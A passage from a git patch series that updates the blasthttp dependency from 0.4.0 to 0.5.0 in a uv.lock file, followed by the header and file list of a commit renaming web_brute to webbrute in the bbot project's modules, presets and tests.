"sha256:a4b027c113ef6a6c4a454679a0194aadfffb124392982ccf1ef7eb5c33334f83", size = 3878225, upload-time = "2026-05-01T16:10:28.901Z" }, - { url = "https://files.pythonhosted.org/packages/40/47/1cf7005e655bb3513fb849f0f7475139ea2d9e9f4bd342561ecc6d078ab7/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:4e1470ca76bc46909e335b4ee8b4d4b72611f765672388d2c3c89df5d7b5a591", size = 4458508, upload-time = "2026-05-01T16:10:52.963Z" }, - { url = "https://files.pythonhosted.org/packages/16/b6/6d1d6abd8e28911513fdcd01bc8edbb03fec938b52b50c222fe19115fb77/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:18d4476e3778aa28350386e76f7227b571fa7d058f69227d22c99081a000de14", size = 4469432, upload-time = "2026-05-01T16:10:37.016Z" }, - { url = "https://files.pythonhosted.org/packages/9f/44/67fbdf7a040372bfcfd8a8a737d792d442602e2d0d7416f2a7938994109c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:0f6fe7287e3f5ecd51959b67484f17160ac71d744d60d274125e4d012a7ba748", size = 4090502, upload-time = "2026-05-01T16:10:44.969Z" }, - { url = "https://files.pythonhosted.org/packages/d4/f1/95ef78dbfad4626c70e26b0d3fd19352e0d634c4edd3d06a13edb77ee651/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:6a052865813d60dca690fb9561f8d60c96d93ecfb8001434dc7efef1454c0b16", size = 4225151, upload-time = "2026-05-01T16:11:00.58Z" }, - { url = "https://files.pythonhosted.org/packages/f6/4d/2af0d419952c152f4505d74fbc90f01efdda21618e965d7f60f3cd510f4d/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:34d872d366f4e7c2db88245a06884c155f0ff4746d5b78ebd46910d3044c4443", size = 4851561, upload-time = "2026-05-01T16:11:08.918Z" }, - { url = "https://files.pythonhosted.org/packages/71/49/b64aac3e321016629d2fef12806be50791cfd22d2ddda2bd9a2467cbed40/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:f852ee3b73d75cdb19fc5d8cc6c9982af43e0b59fae168339530bb47da0c29b8", size = 4179050, upload-time = "2026-05-01T16:11:16.692Z" }, - { url = "https://files.pythonhosted.org/packages/f2/99/c283434d5a114d14edae9766f03f8ba5361f26a0f5a0d33cf6a1dd4a1c4a/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2bf53b2f91310750161ffe7f97567cf634c3022a7200fc02be1f15b3ed7d606", size = 4598661, upload-time = "2026-05-01T16:11:24.356Z" }, - { url = "https://files.pythonhosted.org/packages/9f/7b/fefe45fd2d989fc72d15a60aa77f9d20b95f9f482cb5af3af84161ac5665/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b049ce40b9959cfd31cec481482147791a660eeed7aeef262e34d3ca843a499b", size = 4559800, upload-time = "2026-05-01T16:11:32.783Z" }, - { url = "https://files.pythonhosted.org/packages/33/01/86f0af776d4208c8a787adc465d7851bb9ea0e05f117e1f85f2abe31d9f6/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:30bdbe55fd1883d4f8973adaba2d29e476d9f895b50f298fa8d84bbff6f315ed", size = 4561981, upload-time = "2026-05-01T16:10:22.554Z" }, - { url = "https://files.pythonhosted.org/packages/33/0c/9c587cb9c8b507230c3f72a405c9880138577a464b42126cfa2df615090f/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:cddca738614895ac67ca1e858787296ad515760c145edcd74240950be0dd4b17", size = 3881449, upload-time = "2026-05-01T16:10:30.279Z" }, - { url = "https://files.pythonhosted.org/packages/78/c7/2bdc6052c51470a569ca499a52727003fad20445bc64763de3fd0408543d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:17f0574eafcf543606de71a21ca62f1a524a4123ee5c5c767f99448c8dd6084a", size = 4463029, upload-time = "2026-05-01T16:10:54.333Z" }, - { url = "https://files.pythonhosted.org/packages/b8/1b/de5c6070408b6ca9321e65107d22d28033d9425059f439318c1d23ee083d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:0e192488053fbc52f49a610d94f379806a0897f7f7b2d60857a3fbfb4c2a3403", size = 4470584, upload-time = "2026-05-01T16:10:38.609Z" }, - { url = "https://files.pythonhosted.org/packages/4e/0e/c8abd6ed3a5c2428fd41758b87082030c5c98a87aae4f8f18312169e6f2d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:b48b1b12a56848c98a5aee78ba58c549962d022b404a712b95df95f0e43e03c7", size = 4090171, upload-time = "2026-05-01T16:10:46.715Z" }, - { url = "https://files.pythonhosted.org/packages/3e/a1/aedceff8653eaaa114111971a033c1be9cc44997272be74685021b3b7b60/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:b80d782724df6653249c5be61fce9b77a2fd9fde295e72bb8f7daf7077c9341f", size = 4225924, upload-time = "2026-05-01T16:11:02.687Z" }, - { url = "https://files.pythonhosted.org/packages/31/b4/2232a321fc048d0ac4b10a7daf344dafeb39942151b067bf4f6ff628ac5f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:96a92b74058475023ada7e02e5cca2c1b69e368582b644a8915f4132fcf310cc", size = 4851739, upload-time = "2026-05-01T16:11:10.408Z" }, - { url = "https://files.pythonhosted.org/packages/84/f2/a516049c47bbe7ca5d2ffa9dc24f467eef7ce385c8833c5f2ea38468db45/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:0bc5d99529aa80884aa610b9f465d06aef4e75131513f856917c38bddbd19c74", size = 4180110, upload-time = "2026-05-01T16:11:18.149Z" }, - { url = "https://files.pythonhosted.org/packages/c3/e5/2b4d6cd9cafd64c97f154be6475552362f35e7c09f2c8fac781ffd1f5971/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cb09f3bfe11fc58a67c9d6c19f67249579599683c2e77219b3f3c694084010e5", size = 4597857, upload-time = "2026-05-01T16:11:25.878Z" }, - { url = "https://files.pythonhosted.org/packages/db/85/cc2dfb5412a29231ee8bfd177b4a817909e8f95414c394f51cd4882a849f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:396a66dee3f52058da61ea8254f576ca70f3d4eb54d5b5a783455d8b7dbbbd23", size = 4559871, upload-time = "2026-05-01T16:11:34.221Z" }, - { url = "https://files.pythonhosted.org/packages/87/cd/1fb15d9eef665a29c2906a60b5ece728e078eefffa6eb8e793d164bbdc84/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:81a7d53b6ca4e5622bb156edbdc8c5f763992076d68503b2c18089532f2fab5a", size = 4562881, upload-time = "2026-05-01T16:10:24.098Z" }, - { url = "https://files.pythonhosted.org/packages/d2/e1/16a4af8cf1f184103e21b2bd0a3c14165bafcf704f266656793211e53c0e/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:8feed0dee3a750e5d49ee4e38684f8a94e727bfc95feb554fd29021ef77a8522", size = 3879561, upload-time = "2026-05-01T16:10:32.042Z" }, - { url = "https://files.pythonhosted.org/packages/87/ab/ef42ef4afa33ee974c4eae3492bf59da60558072116e114e11eab39e8aa9/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:b45f7aac0885ce1a8a9125bfbaf0d4b7213d5297d98bb68b319efbf02b7103dd", size = 4461286, upload-time = "2026-05-01T16:10:55.779Z" }, - { url = "https://files.pythonhosted.org/packages/4e/a9/d6a6032c4f9022d6245c92671c96bf32c602d68902d8463017e03c576498/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:576206e78de4dcb7c299e63a474180f577c1078c572cd6b7883dd352a9042b45", size = 4470099, upload-time = "2026-05-01T16:10:40.128Z" }, - { url = "https://files.pythonhosted.org/packages/09/a8/336b261e136c583e75de8462ae096c46b2cb2506052ffefd61bfd73d8c95/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:1f7ba239eb7ba2d91470d8487e0800c7f18b5115762b74645f3f0708f4b7a417", size = 4091509, upload-time = "2026-05-01T16:10:48.207Z" }, - { url = "https://files.pythonhosted.org/packages/57/c7/c50ea8a20ddde64e1268e94ae9db83278933f51ad21c2654ee2527c33ac6/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:e1e5374d5fe3e1d3c28d514228b8b0129e0b6d20cc78efc87d65b27662dae3d9", size = 4224394, upload-time = "2026-05-01T16:11:04.077Z" }, - { url = "https://files.pythonhosted.org/packages/de/b5/fb9c16d6da024855da2390cfebb770586eac14bd5f6dddc3dde610161965/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2500b1974bce2df2b7acbacdea5012d65abe2de93897fe7576b2cb7f9e7e99cb", size = 4852825, upload-time = "2026-05-01T16:11:11.916Z" }, - { url = "https://files.pythonhosted.org/packages/88/fa/e096bbca96b7d2b93b21ff87d757347efdfd39edd7189edde9633e179d93/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:09af4c79af71b991afc32b9d73694b2715c0f42d04690b8878049c91250b61b3", size = 4179218, upload-time = "2026-05-01T16:11:19.889Z" }, - { url = "https://files.pythonhosted.org/packages/94/87/899813711c2d7013230ed0d87f518d9f4e4705eb1543e4cc36be973d807b/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8f02bc943dd18345d58a78f1ec7e86c5cabbb94a150e8fbc1389822fbd313df6", size = 4597955, upload-time = "2026-05-01T16:11:27.652Z" }, - { url = "https://files.pythonhosted.org/packages/af/cb/7ac9f9d247aed87c537677cf22d7d5bb733e9ab28f0c023703ede72fc603/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4a893b6ef9d9e60e8163e465e241b229c8f2c5f9bcc85de274ccc9cbc6d2782d", size = 4558895, upload-time = "2026-05-01T16:11:35.928Z" }, +version = "0.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e8/42/743d3dea32acb0091439591a1503697b3c1d0754d288dfbf7b99aedcad90/blasthttp-0.5.0.tar.gz", hash = "sha256:60c909ab3c5f9bb7015c093a8ddb0c351eab61eade3c8511826daf779edc67fb", size = 137680, upload-time = "2026-05-07T14:42:12.258Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/f8/5c2e4a5d874aabb673385017b53f2b0606ccf141d15e990c4514fe94ff93/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:53585710305baf42f249af64660c041854e1cff11e35a92e5172fb5a7194b344", size = 4758440, upload-time = "2026-05-07T14:40:52.773Z" }, + { url = "https://files.pythonhosted.org/packages/11/ba/ca3866576263ce1bba48cd37410bcf339aeae06b436377f9e01bdce57852/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:81f684d2e32e7ac54f870422469c181d44f7e85e0b97e77fb525463ab5c142b4", size = 4060751, upload-time = "2026-05-07T14:41:01.144Z" }, + { url = "https://files.pythonhosted.org/packages/2d/7c/b251db3863df97c0d9481faf70f8d23998f8056b57bd0e7db507a94fb2c1/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:3ea44513132ff374df77187afbf38a0b300f796260c67f0d09d449cfff59485b", size = 4649787, upload-time = "2026-05-07T14:41:24.304Z" }, + { url = "https://files.pythonhosted.org/packages/83/aa/31294e9f510a71bdc29f46729ff9ab4c1f1701beec9d40ace9a3600895ea/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:0d944795ba5151b94a2118ed46b2fb1df7cebd2cdcfd993a9bcfe39b38d222ee", size = 4662976, upload-time = "2026-05-07T14:41:09.092Z" }, + { url = "https://files.pythonhosted.org/packages/98/db/169508a499b42f75c0212f876816f6761910b59b106f62bd623c0c87d025/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:9dd9ac3e0cba61e140b7bb6fb888a3048f85d44fae4019a44c4e32e14a9e6fbc", size = 4266973, upload-time = "2026-05-07T14:41:16.581Z" }, + { url = "https://files.pythonhosted.org/packages/b2/ed/531ad6755959ee9bf5a1cd9cd018c90558ab3248563e5a1c6543a3d19c91/blasthttp-0.5.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a30b59e007558fe35ac1c8c4f93612978c35dc3d7bf6a591163b70a170c95e9f", size = 4404464, upload-time = "2026-05-07T14:41:32.319Z" }, + { url = "https://files.pythonhosted.org/packages/f6/97/9954b3b2c275d40af1a0939e4111a38eb41b8ccc80e878c451cf8fb240bf/blasthttp-0.5.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d255ce802b570693acd8af4381a2010fbe5b1185b50c674a9d3e8101b20120c", size = 5049907, upload-time = "2026-05-07T14:41:40.001Z" }, + { url = "https://files.pythonhosted.org/packages/07/89/de57b3f3116967f9ce8b1c5b837c074c7a4b1d4a1f66f71ab1577d95fef0/blasthttp-0.5.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:31e61b7dbc07c8371aa2c232323b74f6e76161c8f0815cf8d217fb4a3db05530", size = 4365418, upload-time = "2026-05-07T14:41:48.192Z" }, + { url = "https://files.pythonhosted.org/packages/59/0c/fa92d8699814824c56ffd675a1bf920ebccb0bb8baa865192801d3447342/blasthttp-0.5.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f7ca6f2af0983f364e17bacdef27207eb9ffaa97e4ee3087e24285be2253993b", size = 4781465, upload-time = "2026-05-07T14:41:55.794Z" }, + { url = "https://files.pythonhosted.org/packages/a0/59/dd846c7c4d37a450d33de2edc18da3fb7105c0e7900df233786520fd0b63/blasthttp-0.5.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:21889780aedf87f5ab49064a02777571232debc7b2b3bd39d3f430541881d220", size = 4749394, upload-time = "2026-05-07T14:42:03.745Z" }, + { url = "https://files.pythonhosted.org/packages/8e/43/05029534c63e12e90049fe7b15e12b529dcf0332e3fd23ff3be1df779a83/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:76fc3eb6aa6df04e62cb28bc5c00f1489e7981a6cf772b3ae9d61502c34c8cc5", size = 4755489, upload-time = "2026-05-07T14:40:54.559Z" }, + { url = "https://files.pythonhosted.org/packages/0e/3c/d5bf59020a4be9e21d9b78a5e0c86e25e062a6823548cc55b484875c90c9/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:fc7b91b6d94fffd81a6d8bed2c93ee988881630c4946a23d704a7e82e61eee86", size = 4057866, upload-time = "2026-05-07T14:41:02.776Z" }, + { url = "https://files.pythonhosted.org/packages/e7/64/91de3231c07bc11bb056755be8365bd7ff1e39f391dc87855633a3d33521/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:4b87ae09ccea65b22aea8617b1bf34ce40db889b166f18665374d4ab7e37cd34", size = 4646482, upload-time = "2026-05-07T14:41:25.909Z" }, + { url = "https://files.pythonhosted.org/packages/b7/2c/954c29b9218d2230443a735438f1ce840fffb18198d1029c84f06455b374/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:395faaccf3fb994d6bb10bc186bc7a508070637ba879ee3dce24a1280017366b", size = 4658355, upload-time = "2026-05-07T14:41:10.527Z" }, + { url = "https://files.pythonhosted.org/packages/1a/26/85ed6f74a8ca99933d1f7085be8d272825e2ad156f1d66a038bad4bd7730/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:2911e7af0688de15efe6f7770c90aef8360efdaff1f396124e7cacd7d228f098", size = 4264512, upload-time = "2026-05-07T14:41:18.208Z" }, + { url = "https://files.pythonhosted.org/packages/46/a9/c73c20a78293faa0daca56743b01c9a4d6f4e2d2716585f803dc3645b3ce/blasthttp-0.5.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:7f370de2aceead32ba51c2ccf3e0df76b8873bcefca076d3a48b3b61b8435de5", size = 4402616, upload-time = "2026-05-07T14:41:33.684Z" }, + { url = "https://files.pythonhosted.org/packages/ed/0e/20f181e8b8bfe9e974852d79fa620ace104a5cf555a151bfcb55d9955bbf/blasthttp-0.5.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dbdb730dd1d84a8e2c9758b5a6fca2a8bc23af7c795c8af2d2394f164db3ebe7", size = 5047769, upload-time = "2026-05-07T14:41:41.701Z" }, + { url = "https://files.pythonhosted.org/packages/b7/df/e18cc17e5d537f9b053573e57134f7013380780624d67d1be8459878e4bf/blasthttp-0.5.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:97708a620e554b97527aed6c8a49a8eb66115ae9592cdce0df0e95e1762442c9", size = 4358737, upload-time = "2026-05-07T14:41:49.639Z" }, + { url = "https://files.pythonhosted.org/packages/fe/12/6dc4f9ece3979ed206d90583a5322a859334e0a943dbdb7e10445a049cb5/blasthttp-0.5.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:b67a7af3b1ad3b5f655da8d171b7114ebb595490f39305b85008bfac90a26998", size = 4777028, upload-time = "2026-05-07T14:41:57.35Z" }, + { url = "https://files.pythonhosted.org/packages/81/77/951975b1f01d26ae38baab4defb3ec45f89372c4163f258c48a3000a595b/blasthttp-0.5.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0fc4ba3e8a58083fcab784e407ae65b7ffdce1db72e6e48bbea068f256bf8df6", size = 4744601, upload-time = "2026-05-07T14:42:05.735Z" }, + { url = "https://files.pythonhosted.org/packages/31/e6/5255d4105a549759400db2b15ec4323f95d624f92428a13c52c149ca3135/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:013f8f9a93cb7535ffc660bbbb1c20326deb029664cf08213e40e7654d542619", size = 4752412, upload-time = "2026-05-07T14:40:56.009Z" }, + { url = "https://files.pythonhosted.org/packages/79/94/adb8c0e00227bb5b5ed682e85861cad8a65543ed3fc91c124107dab3d211/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:2adaf07d8d9f6ce4838b98d75209316910903c9e99379b8f798ad37c063d5510", size = 4055666, upload-time = "2026-05-07T14:41:04.528Z" }, + { url = "https://files.pythonhosted.org/packages/bb/0f/e6dbae554b77bc116a61fadca6fccf0286723e958ef2dc08ec680eaf0af5/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:0d56edcbfbaad866f97f4df5882020d653ba952933807ebb5bb50a26c45d87a4", size = 4646242, upload-time = "2026-05-07T14:41:27.464Z" }, + { url = "https://files.pythonhosted.org/packages/b5/b8/44f605e28c8675292681b74cf48eae5d9a0de26952bdff143c70107c4649/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:d2ce347d343b47cc7d06dca2ee85bfa40aa9bfba26f59fc9d12e561717a5797e", size = 4652092, upload-time = "2026-05-07T14:41:12.38Z" }, + { url = "https://files.pythonhosted.org/packages/9a/4d/0d4d0f6f5a742e94a394f4f57e490ef241c69d2179471781d29d04975fa5/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:b6b763bc3658c9b079e116a3d9a4c0a4043cec5ac93aa03e09fe7b3b7dd9e00c", size = 4271334, upload-time = "2026-05-07T14:41:19.959Z" }, + { url = "https://files.pythonhosted.org/packages/34/63/8e7c89a53e6fa1b459556960e2e2ab184d84faed3ee7774afc1bc5f7e597/blasthttp-0.5.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:147269fe44956b50ec19300ecb6f4f680044202b60c52edd2d13921b7a2833db", size = 4399938, upload-time = "2026-05-07T14:41:35.154Z" }, + { url = "https://files.pythonhosted.org/packages/c5/59/fadde1a5cf3b348881a876ebd297e65378270e8c2009e7b3b15d70f297f0/blasthttp-0.5.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:45610e38452c5546a4522b63dfcf5322f08317f8afd1bd72dd3f5c36d455f788", size = 5045120, upload-time = "2026-05-07T14:41:43.305Z" }, + { url = "https://files.pythonhosted.org/packages/24/6a/6b66e9fc95829eec935ef8b9d0872ba875adc9b3fb53d3574a89b0dc1fd2/blasthttp-0.5.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:a1a0958266464b492f0427951ddfaca66890a24ccf9d47bd128b59e53fc6f30f", size = 4354945, upload-time = "2026-05-07T14:41:51.165Z" }, + { url = "https://files.pythonhosted.org/packages/ca/dd/41ef4eaab128483255ab6eb095442c13a9a08c5c9705e3c5278502e69e3c/blasthttp-0.5.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:1cfd8f26da192f6ef0613cf22383b64d37509722c97326eb47d971103a580477", size = 4773617, upload-time = "2026-05-07T14:41:58.942Z" }, + { url = "https://files.pythonhosted.org/packages/ba/21/ba9f7e29626234f5dcd437a2a735cc44d5c65263335daaaec3023b7052ec/blasthttp-0.5.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0c8a44698c4d1fce6581a07644f95d78fdd6aadfb0f4649073d8c6803e032223", size = 4740664, upload-time = "2026-05-07T14:42:07.281Z" }, + { url = "https://files.pythonhosted.org/packages/0e/2c/092dd3e1c66b899771145f2cb124ee9473930183a7ef42fb68a1e7f06f5e/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9b3f13866ed88348b26ea8e4f93d0f114c743445424b9f20f0f7eaa48930d5d8", size = 4750921, upload-time = "2026-05-07T14:40:57.764Z" }, + { url = "https://files.pythonhosted.org/packages/45/5f/81e03fd9e5b0e1e26a8b88787be83e68eb1c00a5d48363e4ee84640d9014/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:cf753f5278251264e66d4174cbe68156a5d015d462453de75f8ed29f1ed8e8f7", size = 4055914, upload-time = "2026-05-07T14:41:06.078Z" }, + { url = "https://files.pythonhosted.org/packages/b1/03/5aedfc03b1c780c82baf8cfe3ef2de4309618581e78ff68fe1b9e032f0ad/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:44b258d9521e00c4105b46215aaea489ab64b359c390e5ffea73e8fac11b56fc", size = 4647901, upload-time = "2026-05-07T14:41:29.123Z" }, + { url = "https://files.pythonhosted.org/packages/38/5a/4010589cbe0489992bece4db26883ff93ed3b1dafe75fba4c97cad486c30/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:1ffa980ed5ca36b3ecd3d906b9c9b3560bbddab129ab3e26cb2765947b91c9b8", size = 4658055, upload-time = "2026-05-07T14:41:13.899Z" }, + { url = "https://files.pythonhosted.org/packages/34/66/8f476c8dfcb56460bdac41062775c8f6a5d9e2ead2b984475b0db1f560cc/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:1eec3d563d6e27bf9a2587b68974515003dac67247cf1d9d5f56fbdcd277099d", size = 4269677, upload-time = "2026-05-07T14:41:21.461Z" }, + { url = "https://files.pythonhosted.org/packages/c0/b1/b2c5e8fb0e96fa57f95fcb45867ea107e3ea22e13386d294f509acd7259b/blasthttp-0.5.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:0a75406dc26c211fd8ea1f8f7b4b8ba1171939e304530bdfe60e600ecdc21f80", size = 4399954, upload-time = "2026-05-07T14:41:37.064Z" }, + { url = "https://files.pythonhosted.org/packages/a9/45/e16e4c014925f15a48d79aae945d2cedec2e96b0c816980404791f3a9fc1/blasthttp-0.5.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e4d5ef6fcd4981542754a949db2b9f9ac4f201c48fed236428be2da1757d5648", size = 5044612, upload-time = "2026-05-07T14:41:44.661Z" }, + { url = "https://files.pythonhosted.org/packages/9b/b3/0fb06faf129c1a50ac77799d9675007fa75c3087552742d647ce1fd0b692/blasthttp-0.5.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:9a8690cf693842366907a98abd1d2eed22852edb71bb44c5fcd1e7ab8ddf4b9e", size = 4354605, upload-time = "2026-05-07T14:41:52.625Z" }, + { url = "https://files.pythonhosted.org/packages/8a/1f/ef6dec37ec76fd0c340dc6a1631b85e5492584710e97e4bad6e3c2085213/blasthttp-0.5.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:8c855fa39d11fee5bb36ce31c635f3ce8e54a3060de9589f947488508d53b629", size = 4775464, upload-time = "2026-05-07T14:42:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/e6/62/5d523cca46369c46c3590ac2fe7b645b2888d7efe136cdab91fadecab1dd/blasthttp-0.5.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d41f159b014f7bac88dda327981c8a70e2485aa37161b7388ade37fd7230ee3a", size = 4740608, upload-time = "2026-05-07T14:42:09.307Z" }, + { url = "https://files.pythonhosted.org/packages/7c/97/24fc0ac9ae894e375d06d99229d480232108dc42e6c345ca554e06b93b3a/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:1747ae6997d93bc01274a692f7367d6962ad45fe14f1b0e0a7a76d1ca6fa36dc", size = 4751694, upload-time = "2026-05-07T14:40:59.42Z" }, + { url = "https://files.pythonhosted.org/packages/c1/6b/bdd4fdfa510dc9cfad6151a92e0e520c0c81204c611b8f2a76d6ef40afbd/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:600fee97d5643db032343fdacda09ef07bfd41c2d2a2a9f7c3a3ea51d82edfc8", size = 4051437, upload-time = "2026-05-07T14:41:07.558Z" }, + { url = "https://files.pythonhosted.org/packages/ab/ff/2810c04b792645d082724c3d805fdcd278b0b4b2baeadc3b44b518d93c21/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:5f8ad9c725dc925cb06e4640937c64763be4c7f22184a45ca672db3f6200c842", size = 4646361, upload-time = "2026-05-07T14:41:30.815Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/89ca487b6e22126eee064060f681c9e35c154c106a9553f5913f732c43ad/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:13295664e23c5139d742626552e3cd20608bc277490b6dacaa50a144b0dad102", size = 4650662, upload-time = "2026-05-07T14:41:15.275Z" }, + { url = "https://files.pythonhosted.org/packages/39/fc/a1e2230792b723ea7ac93d7905e545662d68093d69aca81c406c18897fd0/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:e77ff2eb55dbad58ea67bf320f43be7440f4e4423778f552fb0d89917d5a397b", size = 4269035, upload-time = "2026-05-07T14:41:22.853Z" }, + { url = "https://files.pythonhosted.org/packages/57/27/2eafb92b7522cfd0fb1e87447cc47df67e6b89b36df2257dc81e8a8c008a/blasthttp-0.5.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:9d0a52e6579729500c353c129165faa905720439804d0a7bf8ba50ea95740b36", size = 4400544, upload-time = "2026-05-07T14:41:38.376Z" }, + { url = "https://files.pythonhosted.org/packages/47/ab/5cdab703f4fe32af3025e78cd9a8008ae44214edf945aeab234e7e1a99a4/blasthttp-0.5.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9d3f89a2d019e18fe8d51083a0159202da84572b2b04aa561c8167a50bdad709", size = 5046132, upload-time = "2026-05-07T14:41:46.518Z" }, + { url = "https://files.pythonhosted.org/packages/39/f8/1314f2067c07e3d0ba4b52f6dfa6cdce10be494e002ffce02ba07ee6c95d/blasthttp-0.5.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:0b1c5d2d2d37b45022899013b9aba0951689cfef26dc75dc4ef018b9ac55ad5b", size = 4352439, upload-time = "2026-05-07T14:41:54.119Z" }, + { url = "https://files.pythonhosted.org/packages/17/ae/32682550b4e660b9b387f966da36c44fca1383e48f470e40121e963dcbbe/blasthttp-0.5.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ae66cacf610843d263a54212cc9dda846bddc6fc7a7501e1b174be4e30f514cb", size = 4774423, upload-time = "2026-05-07T14:42:02.373Z" }, + { url = "https://files.pythonhosted.org/packages/d3/a7/4b1c8b452927d46e3d54770e262be07a67206370fcd5605fd601c37e4bfe/blasthttp-0.5.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:aa4c15256f693b5fefe9b5442a183e5979b745b9fb9807d203a3b92fc6aa32a6", size = 4741833, upload-time = "2026-05-07T14:42:10.96Z" }, ] [[package]] From 3e0f53d6be214a308112e12d835f51a0a232c584 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 May 2026 10:56:56 -0400 Subject: [PATCH 611/912] update web_brute -> webbrute references in modules, presets, and tests --- bbot/modules/telerik.py | 2 +- bbot/modules/webbrute.py | 38 +++++++------------ bbot/modules/webbrute_shortnames.py | 10 ++--- bbot/presets/web/dirbust-heavy.yml | 6 +-- bbot/presets/web/dirbust-light.yml | 4 +- bbot/presets/web/dotnet-audit.yml | 8 ++-- 